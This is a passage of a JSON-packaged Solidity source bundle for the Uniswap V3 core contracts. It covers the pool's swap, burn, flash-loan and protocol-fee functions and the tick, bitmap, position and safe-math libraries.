TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n (Position.Info storage position, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: msg.sender,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: -int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(-amount0Int);\n amount1 = uint256(-amount1Int);\n\n if (amount0 > 0 || amount1 > 0) {\n (position.tokensOwed0, position.tokensOwed1) = (\n position.tokensOwed0 + uint128(amount0),\n position.tokensOwed1 + uint128(amount1)\n );\n }\n\n emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n struct SwapCache {\n // the protocol fee for the input token\n uint8 feeProtocol;\n // liquidity at the beginning of the swap\n uint128 liquidityStart;\n // the timestamp of the current block\n uint32 blockTimestamp;\n // the current value of the tick accumulator, computed only if we cross an initialized tick\n int56 tickCumulative;\n // the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick\n uint160 secondsPerLiquidityCumulativeX128;\n // whether we've computed and cached the above two accumulators\n bool computedLatestObservation;\n }\n\n // the top level state of the swap, the results of which are recorded in storage at the end\n struct SwapState {\n // the amount remaining to be swapped in/out of the input/output asset\n int256 amountSpecifiedRemaining;\n // the amount already swapped out/in of the output/input asset\n int256 amountCalculated;\n // current sqrt(price)\n uint160 sqrtPriceX96;\n // the tick associated with the current price\n int24 tick;\n // the global fee growth of the input token\n uint256 feeGrowthGlobalX128;\n // amount of input token paid as protocol fee\n uint128 protocolFee;\n // the current liquidity in range\n uint128 liquidity;\n }\n\n struct StepComputations {\n // the price at the beginning of the step\n uint160 sqrtPriceStartX96;\n // the next tick to swap to from the current tick in the swap direction\n int24 tickNext;\n // whether tickNext is initialized or not\n bool initialized;\n // sqrt(price) for the next tick (1/0)\n uint160 sqrtPriceNextX96;\n // how much is being swapped in in this step\n uint256 amountIn;\n // how much is being swapped out\n uint256 amountOut;\n // how much fee is being paid in\n uint256 feeAmount;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external override noDelegateCall returns (int256 amount0, int256 amount1) {\n require(amountSpecified != 0, 'AS');\n\n Slot0 memory slot0Start = slot0;\n\n require(slot0Start.unlocked, 'LOK');\n require(\n zeroForOne\n ? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO\n : sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,\n 'SPL'\n );\n\n slot0.unlocked = false;\n\n SwapCache memory cache =\n SwapCache({\n liquidityStart: liquidity,\n blockTimestamp: _blockTimestamp(),\n feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),\n secondsPerLiquidityCumulativeX128: 0,\n tickCumulative: 0,\n computedLatestObservation: false\n });\n\n bool exactInput = amountSpecified > 0;\n\n SwapState memory state =\n SwapState({\n amountSpecifiedRemaining: amountSpecified,\n amountCalculated: 0,\n sqrtPriceX96: slot0Start.sqrtPriceX96,\n tick: slot0Start.tick,\n feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,\n protocolFee: 0,\n liquidity: cache.liquidityStart\n });\n\n // continue swapping as long as we haven't used the entire input/output and haven't reached the price limit\n while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {\n StepComputations memory step;\n\n step.sqrtPriceStartX96 = state.sqrtPriceX96;\n\n (step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(\n state.tick,\n tickSpacing,\n zeroForOne\n );\n\n // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds\n if (step.tickNext < TickMath.MIN_TICK) {\n step.tickNext = TickMath.MIN_TICK;\n } else if (step.tickNext > TickMath.MAX_TICK) {\n step.tickNext = TickMath.MAX_TICK;\n }\n\n // get the price for the next tick\n step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);\n\n // compute values to swap to the target tick, price limit, or point where input/output amount is exhausted\n (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(\n state.sqrtPriceX96,\n (zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)\n ? sqrtPriceLimitX96\n : step.sqrtPriceNextX96,\n state.liquidity,\n state.amountSpecifiedRemaining,\n fee\n );\n\n if (exactInput) {\n state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();\n state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());\n } else {\n state.amountSpecifiedRemaining += step.amountOut.toInt256();\n state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());\n }\n\n // if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee\n if (cache.feeProtocol > 0) {\n uint256 delta = step.feeAmount / cache.feeProtocol;\n step.feeAmount -= delta;\n state.protocolFee += uint128(delta);\n }\n\n // update global fee tracker\n if (state.liquidity > 0)\n state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);\n\n // shift tick if we reached the next price\n if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {\n // if the tick is initialized, run the tick transition\n if (step.initialized) {\n // check for the placeholder value, which we replace with the actual value the first time the swap\n // crosses an initialized tick\n if (!cache.computedLatestObservation) {\n (cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(\n cache.blockTimestamp,\n 0,\n slot0Start.tick,\n slot0Start.observationIndex,\n cache.liquidityStart,\n slot0Start.observationCardinality\n );\n cache.computedLatestObservation = true;\n }\n int128 liquidityNet =\n ticks.cross(\n step.tickNext,\n (zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),\n (zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),\n cache.secondsPerLiquidityCumulativeX128,\n cache.tickCumulative,\n cache.blockTimestamp\n );\n // if we're moving leftward, we interpret liquidityNet as the opposite sign\n // safe because liquidityNet cannot be type(int128).min\n if (zeroForOne) liquidityNet = -liquidityNet;\n\n state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);\n }\n\n state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;\n } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {\n // recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved\n state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);\n }\n }\n\n // update tick and write an oracle entry if the tick change\n if (state.tick != slot0Start.tick) {\n (uint16 observationIndex, uint16 observationCardinality) =\n observations.write(\n slot0Start.observationIndex,\n cache.blockTimestamp,\n slot0Start.tick,\n cache.liquidityStart,\n slot0Start.observationCardinality,\n slot0Start.observationCardinalityNext\n );\n (slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (\n state.sqrtPriceX96,\n state.tick,\n observationIndex,\n observationCardinality\n );\n } else {\n // otherwise just update the price\n slot0.sqrtPriceX96 = state.sqrtPriceX96;\n }\n\n // update liquidity if it changed\n if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;\n\n // update fee growth global and, if necessary, protocol fees\n // overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees\n if (zeroForOne) {\n feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;\n } else {\n feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;\n }\n\n (amount0, amount1) = zeroForOne == exactInput\n ? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)\n : (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);\n\n // do the transfers and collect payment\n if (zeroForOne) {\n if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));\n\n uint256 balance0Before = balance0();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');\n } else {\n if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));\n\n uint256 balance1Before = balance1();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');\n }\n\n emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);\n slot0.unlocked = true;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override lock noDelegateCall {\n uint128 _liquidity = liquidity;\n require(_liquidity > 0, 'L');\n\n uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);\n uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);\n uint256 balance0Before = balance0();\n uint256 balance1Before = balance1();\n\n if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);\n if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);\n\n IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);\n\n uint256 balance0After = balance0();\n uint256 balance1After = balance1();\n\n require(balance0Before.add(fee0) <= balance0After, 'F0');\n require(balance1Before.add(fee1) <= balance1After, 'F1');\n\n // sub is safe because we know balanceAfter is gt balanceBefore by at least fee\n uint256 paid0 = balance0After - balance0Before;\n uint256 paid1 = balance1After - balance1Before;\n\n if (paid0 > 0) {\n uint8 feeProtocol0 = slot0.feeProtocol % 16;\n uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;\n if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);\n feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);\n }\n if (paid1 > 0) {\n uint8 feeProtocol1 = slot0.feeProtocol >> 4;\n uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;\n if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);\n feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);\n }\n\n emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {\n require(\n (feeProtocol0 == 0 || (feeProtocol0 >= 4 && feeProtocol0 <= 10)) &&\n (feeProtocol1 == 0 || (feeProtocol1 >= 4 && feeProtocol1 <= 10))\n );\n uint8 feeProtocolOld = slot0.feeProtocol;\n slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4);\n emit SetFeeProtocol(feeProtocolOld % 16, feeProtocolOld >> 4, feeProtocol0, feeProtocol1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {\n amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;\n amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;\n\n if (amount0 > 0) {\n if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit CollectProtocol(msg.sender, recipient, amount0, amount1);\n }\n}\n"
},
"contracts/interfaces/IUniswapV3Pool.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './pool/IUniswapV3PoolImmutables.sol';\nimport './pool/IUniswapV3PoolState.sol';\nimport './pool/IUniswapV3PoolDerivedState.sol';\nimport './pool/IUniswapV3PoolActions.sol';\nimport './pool/IUniswapV3PoolOwnerActions.sol';\nimport './pool/IUniswapV3PoolEvents.sol';\n\n/// @title The interface for a Uniswap V3 Pool\n/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform\n/// to the ERC20 specification\n/// @dev The pool interface is broken up into many smaller pieces\ninterface IUniswapV3Pool is\n IUniswapV3PoolImmutables,\n IUniswapV3PoolState,\n IUniswapV3PoolDerivedState,\n IUniswapV3PoolActions,\n IUniswapV3PoolOwnerActions,\n IUniswapV3PoolEvents\n{\n\n}\n"
},
"contracts/NoDelegateCall.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\n/// @title Prevents delegatecall to a contract\n/// @notice Base contract that provides a modifier for preventing delegatecall to methods in a child contract\nabstract contract NoDelegateCall {\n /// @dev The original address of this contract\n address private immutable original;\n\n constructor() {\n // Immutables are computed in the init code of the contract, and then inlined into the deployed bytecode.\n // In other words, this variable won't change when it's checked at runtime.\n original = address(this);\n }\n\n /// @dev Private method is used instead of inlining into modifier because modifiers are copied into each method,\n /// and the use of immutable means the address bytes are copied in every place the modifier is used.\n function checkNotDelegateCall() private view {\n require(address(this) == original);\n }\n\n /// @notice Prevents delegatecall into the modified method\n modifier noDelegateCall() {\n checkNotDelegateCall();\n _;\n }\n}\n"
},
"contracts/libraries/LowGasSafeMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.7.0;\n\n/// @title Optimized overflow and underflow safe math operations\n/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost\nlibrary LowGasSafeMath {\n /// @notice Returns x + y, reverts if sum overflows uint256\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x);\n }\n\n /// @notice Returns x - y, reverts if underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x);\n }\n\n /// @notice Returns x * y, reverts if overflows\n /// @param x The multiplicand\n /// @param y The multiplier\n /// @return z The product of x and y\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(x == 0 || (z = x * y) / x == y);\n }\n\n /// @notice Returns x + y, reverts if overflows or underflows\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x + y) >= x == (y >= 0));\n }\n\n /// @notice Returns x - y, reverts if overflows or underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x - y) <= x == (y >= 0));\n }\n}\n"
},
"contracts/libraries/SafeCast.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Safe casting methods\n/// @notice Contains methods for safely casting between types\nlibrary SafeCast {\n /// @notice Cast a uint256 to a uint160, revert on overflow\n /// @param y The uint256 to be downcasted\n /// @return z The downcasted integer, now type uint160\n function toUint160(uint256 y) internal pure returns (uint160 z) {\n require((z = uint160(y)) == y);\n }\n\n /// @notice Cast a int256 to a int128, revert on overflow or underflow\n /// @param y The int256 to be downcasted\n /// @return z The downcasted integer, now type int128\n function toInt128(int256 y) internal pure returns (int128 z) {\n require((z = int128(y)) == y);\n }\n\n /// @notice Cast a uint256 to a int256, revert on overflow\n /// @param y The uint256 to be casted\n /// @return z The casted integer, now type int256\n function toInt256(uint256 y) internal pure returns (int256 z) {\n require(y < 2**255);\n z = int256(y);\n }\n}\n"
},
"contracts/libraries/Tick.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './TickMath.sol';\nimport './LiquidityMath.sol';\n\n/// @title Tick\n/// @notice Contains functions for managing tick processes and relevant calculations\nlibrary Tick {\n using LowGasSafeMath for int256;\n using SafeCast for int256;\n\n // info stored for each initialized individual tick\n struct Info {\n // the total position liquidity that references this tick\n uint128 liquidityGross;\n // amount of net liquidity added (subtracted) when tick is crossed from left to right (right to left),\n int128 liquidityNet;\n // fee growth per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint256 feeGrowthOutside0X128;\n uint256 feeGrowthOutside1X128;\n // the cumulative tick value on the other side of the tick\n int56 tickCumulativeOutside;\n // the seconds per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint160 secondsPerLiquidityOutsideX128;\n // the seconds spent on the other side of the tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint32 secondsOutside;\n // true iff the tick is initialized, i.e. the value is exactly equivalent to the expression liquidityGross != 0\n // these 8 bits are set to prevent fresh sstores when crossing newly initialized ticks\n bool initialized;\n }\n\n /// @notice Derives max liquidity per tick from given tick spacing\n /// @dev Executed within the pool constructor\n /// @param tickSpacing The amount of required tick separation, realized in multiples of `tickSpacing`\n /// e.g., a tickSpacing of 3 requires ticks to be initialized every 3rd tick i.e., ..., -6, -3, 0, 3, 6, ...\n /// @return The max liquidity per tick\n function tickSpacingToMaxLiquidityPerTick(int24 tickSpacing) internal pure returns (uint128) {\n int24 minTick = (TickMath.MIN_TICK / tickSpacing) * tickSpacing;\n int24 maxTick = (TickMath.MAX_TICK / tickSpacing) * tickSpacing;\n uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;\n return type(uint128).max / numTicks;\n }\n\n /// @notice Retrieves fee growth data\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @param tickCurrent The current tick\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function getFeeGrowthInside(\n mapping(int24 => Tick.Info) storage self,\n int24 tickLower,\n int24 tickUpper,\n int24 tickCurrent,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128\n ) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {\n Info storage lower = self[tickLower];\n Info storage upper = self[tickUpper];\n\n // calculate fee growth below\n uint256 feeGrowthBelow0X128;\n uint256 feeGrowthBelow1X128;\n if (tickCurrent >= tickLower) {\n feeGrowthBelow0X128 = lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = lower.feeGrowthOutside1X128;\n } else {\n feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lower.feeGrowthOutside1X128;\n }\n\n // calculate fee growth above\n uint256 feeGrowthAbove0X128;\n uint256 feeGrowthAbove1X128;\n if (tickCurrent < tickUpper) {\n feeGrowthAbove0X128 = upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = upper.feeGrowthOutside1X128;\n } else {\n feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upper.feeGrowthOutside1X128;\n }\n\n feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;\n feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;\n }\n\n /// @notice Updates a tick and returns true if the tick was flipped from initialized to uninitialized, or vice versa\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The tick that will be updated\n /// @param tickCurrent The current tick\n /// @param liquidityDelta A new amount of liquidity to be added (subtracted) when tick is crossed from left to right (right to left)\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The all-time seconds per max(1, liquidity) of the pool\n /// @param time The current block timestamp cast to a uint32\n /// @param upper true for updating a position's upper tick, or false for updating a position's lower tick\n /// @param maxLiquidity The maximum liquidity allocation for a single tick\n /// @return flipped Whether the tick was flipped from initialized to uninitialized, or vice versa\n function update(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n int24 tickCurrent,\n int128 liquidityDelta,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time,\n bool upper,\n uint128 maxLiquidity\n ) internal returns (bool flipped) {\n Tick.Info storage info = self[tick];\n\n uint128 liquidityGrossBefore = info.liquidityGross;\n uint128 liquidityGrossAfter = LiquidityMath.addDelta(liquidityGrossBefore, liquidityDelta);\n\n require(liquidityGrossAfter <= maxLiquidity, 'LO');\n\n flipped = (liquidityGrossAfter == 0) != (liquidityGrossBefore == 0);\n\n if (liquidityGrossBefore == 0) {\n // by convention, we assume that all growth before a tick was initialized happened _below_ the tick\n if (tick <= tickCurrent) {\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128;\n info.tickCumulativeOutside = tickCumulative;\n info.secondsOutside = time;\n }\n info.initialized = true;\n }\n\n info.liquidityGross = liquidityGrossAfter;\n\n // when the lower (upper) tick is crossed left to right (right to left), liquidity must be added (removed)\n info.liquidityNet = upper\n ? int256(info.liquidityNet).sub(liquidityDelta).toInt128()\n : int256(info.liquidityNet).add(liquidityDelta).toInt128();\n }\n\n /// @notice Clears tick data\n /// @param self The mapping containing all initialized tick information for initialized ticks\n /// @param tick The tick that will be cleared\n function clear(mapping(int24 => Tick.Info) storage self, int24 tick) internal {\n delete self[tick];\n }\n\n /// @notice Transitions to next tick as needed by price movement\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The destination tick of the transition\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The current seconds per liquidity\n /// @param time The current block.timestamp\n /// @return liquidityNet The amount of liquidity added (subtracted) when tick is crossed from left to right (right to left)\n function cross(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time\n ) internal returns (int128 liquidityNet) {\n Tick.Info storage info = self[tick];\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128 - info.secondsPerLiquidityOutsideX128;\n info.tickCumulativeOutside = tickCumulative - info.tickCumulativeOutside;\n info.secondsOutside = time - info.secondsOutside;\n liquidityNet = info.liquidityNet;\n }\n}\n"
},
"contracts/libraries/TickBitmap.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './BitMath.sol';\n\n/// @title Packed tick initialized state library\n/// @notice Stores a packed mapping of tick index to its initialized state\n/// @dev The mapping uses int16 for keys since ticks are represented as int24 and there are 256 (2^8) values per word.\nlibrary TickBitmap {\n /// @notice Computes the position in the mapping where the initialized bit for a tick lives\n /// @param tick The tick for which to compute the position\n /// @return wordPos The key in the mapping containing the word in which the bit is stored\n /// @return bitPos The bit position in the word where the flag is stored\n function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) {\n wordPos = int16(tick >> 8);\n bitPos = uint8(tick % 256);\n }\n\n /// @notice Flips the initialized state for a given tick from false to true, or vice versa\n /// @param self The mapping in which to flip the tick\n /// @param tick The tick to flip\n /// @param tickSpacing The spacing between usable ticks\n function flipTick(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing\n ) internal {\n require(tick % tickSpacing == 0); // ensure that the tick is spaced\n (int16 wordPos, uint8 bitPos) = position(tick / tickSpacing);\n uint256 mask = 1 << bitPos;\n self[wordPos] ^= mask;\n }\n\n /// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either\n /// to the left (less than or equal to) or right (greater than) of the given tick\n /// @param self The mapping in which to compute the next initialized tick\n /// @param tick The starting tick\n /// @param tickSpacing The spacing between usable ticks\n /// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick)\n /// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick\n /// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks\n function nextInitializedTickWithinOneWord(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing,\n bool lte\n ) internal view returns (int24 next, bool initialized) {\n int24 compressed = tick / tickSpacing;\n if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity\n\n if (lte) {\n (int16 wordPos, uint8 bitPos) = position(compressed);\n // all the 1s at or to the right of the current bitPos\n uint256 mask = (1 << bitPos) - 1 + (1 << bitPos);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the right of or at the current tick, return rightmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing\n : (compressed - int24(bitPos)) * tickSpacing;\n } else {\n // start from the word of the next tick, since the current tick state doesn't matter\n (int16 wordPos, uint8 bitPos) = position(compressed + 1);\n // all the 1s at or to the left of the bitPos\n uint256 mask = ~((1 << bitPos) - 1);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the left of the current tick, return leftmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing\n : (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing;\n }\n }\n}\n"
},
"contracts/libraries/Position.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './FixedPoint128.sol';\nimport './LiquidityMath.sol';\n\n/// @title Position\n/// @notice Positions represent an owner address' liquidity between a lower and upper tick boundary\n/// @dev Positions store additional state for tracking fees owed to the position\nlibrary Position {\n // info stored for each user's position\n struct Info {\n // the amount of liquidity owned by this position\n uint128 liquidity;\n // fee growth per unit of liquidity as of the last update to liquidity or fees owed\n uint256 feeGrowthInside0LastX128;\n uint256 feeGrowthInside1LastX128;\n // the fees owed to the position owner in token0/token1\n uint128 tokensOwed0;\n uint128 tokensOwed1;\n }\n\n /// @notice Returns the Info struct of a position, given an owner and position boundaries\n /// @param self The mapping containing all user positions\n /// @param owner The address of the position owner\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @return position The position info struct of the given owners' position\n function get(\n mapping(bytes32 => Info) storage self,\n address owner,\n int24 tickLower,\n int24 tickUpper\n ) internal view returns (Position.Info storage position) {\n position = self[keccak256(abi.encodePacked(owner, tickLower, tickUpper))];\n }\n\n /// @notice Credits accumulated fees to a user's position\n /// @param self The individual position to update\n /// @param liquidityDelta The change in pool liquidity as a result of the position update\n /// @param feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @param feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function update(\n Info storage self,\n int128 liquidityDelta,\n uint256 feeGrowthInside0X128,\n uint256 feeGrowthInside1X128\n ) internal {\n Info memory _self = self;\n\n uint128 liquidityNext;\n if (liquidityDelta == 0) {\n require(_self.liquidity > 0, 'NP'); // disallow pokes for 0 liquidity positions\n liquidityNext = _self.liquidity;\n } else {\n liquidityNext = LiquidityMath.addDelta(_self.liquidity, liquidityDelta);\n }\n\n // calculate accumulated fees\n uint128 tokensOwed0 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside0X128 - _self.feeGrowthInside0LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n uint128 tokensOwed1 =\n uint128(\n FullMath.mulDiv(\n feeGrowthInside1X128 - _self.feeGrowthInside1LastX128,\n _self.liquidity,\n FixedPoint128.Q128\n )\n );\n\n // update the position\n if (liquidityDelta != 0) self.liquidity = liquidityNext;\n self.feeGrowthInside0LastX128 = feeGrowthInside0X128;\n self.feeGrowthInside1LastX128 = feeGrowthInside1X128;\n if (tokensOwed0 > 0 || tokensOwed1 > 0) {\n // overflow is acceptable, have to withdraw before you 